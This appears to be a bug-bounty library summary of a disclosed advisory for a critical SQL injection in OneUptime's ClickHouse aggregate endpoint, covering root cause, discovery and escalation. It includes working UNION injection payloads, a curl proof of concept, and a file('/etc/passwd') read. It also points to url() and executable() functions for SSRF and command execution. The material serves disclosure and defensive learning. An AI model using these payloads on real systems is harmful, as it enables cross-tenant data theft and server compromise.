# OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

OneUptime's telemetry aggregate API concatenates user-controlled aggregationType/column names into ClickHouse SQL, letting any authenticated user read all tenants' data and reach RCE.

- Payout: Research
- Severity: critical
- Program: OneUptime
- Found by: offset
- Disclosed: 2026-03-13
- CVE: CVE-2026-32306
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p5g2-jm85-8g35
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p5g2-jm85-8g35
- Tags: area:web3 domain:api impact:data-leak impact:integrity impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:sqli

**Target:** POST /api/{log,span,metric}/aggregate telemetry aggregation endpoint
**Root cause:** aggregateBy fields (aggregationType, aggregateColumnName, aggregationTimestampColumnName) are only truthiness-checked then raw-concatenated into ClickHouse SQL via Statement.append(), documented as 'trusted SQL', with no allowlist or parameter binding.
**Steps:**
1. Authenticate via `POST /identity/login` to obtain a bearer token.
2. Send `POST /api/log/aggregate` with header `tenantid: PROJECT_ID` and body `aggregateBy.aggregationType` set to `COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = 'oneuptime' --`.
3. Observe injected UNION results returned in aggregationResult.
4. Swap payload to `COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --` to read cross-tenant telemetry.
5. Optionally use `file('/etc/passwd')` table function payload for server-side file read.
**How found:** Source review of the analytics statement generator: noticed .append() is documented as 'trusted SQL' raw concatenation and traced user-controlled aggregateBy fields from the API deserialization (no schema validation) through a truthiness-only check to the concatenation sink.
**Exploitation:** Any authenticated user sends a crafted aggregateBy.aggregationType to the aggregate endpoint; the payload breaks out of the aggregate function call and appends a UNION SELECT, returning arbitrary ClickHouse query results (system tables, Log bodies across tenants) in the aggregation response. Table functions file()/url()/executable() extend to file read, SSRF, and OS command execution if enabled.
**Escalation:** From cross-tenant telemetry read to full DB manipulation (INSERT/ALTER/DROP), server-side file read via file(), SSRF/RCE via url()/executable() table functions, and potential direct ClickHouse access using default credentials.
**Insight:** Grep for ORM/query-builder helpers documented as 'trusted SQL' or raw-append; any field reaching them from a deserialized request body without an allowlist is a sink — aggregation/group-by/order-by parameters are commonly overlooked versus WHERE clauses.

## Proof of concept (copied exactly from the original report)

**UNION injection reading ClickHouse system.tables**

```
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'
```

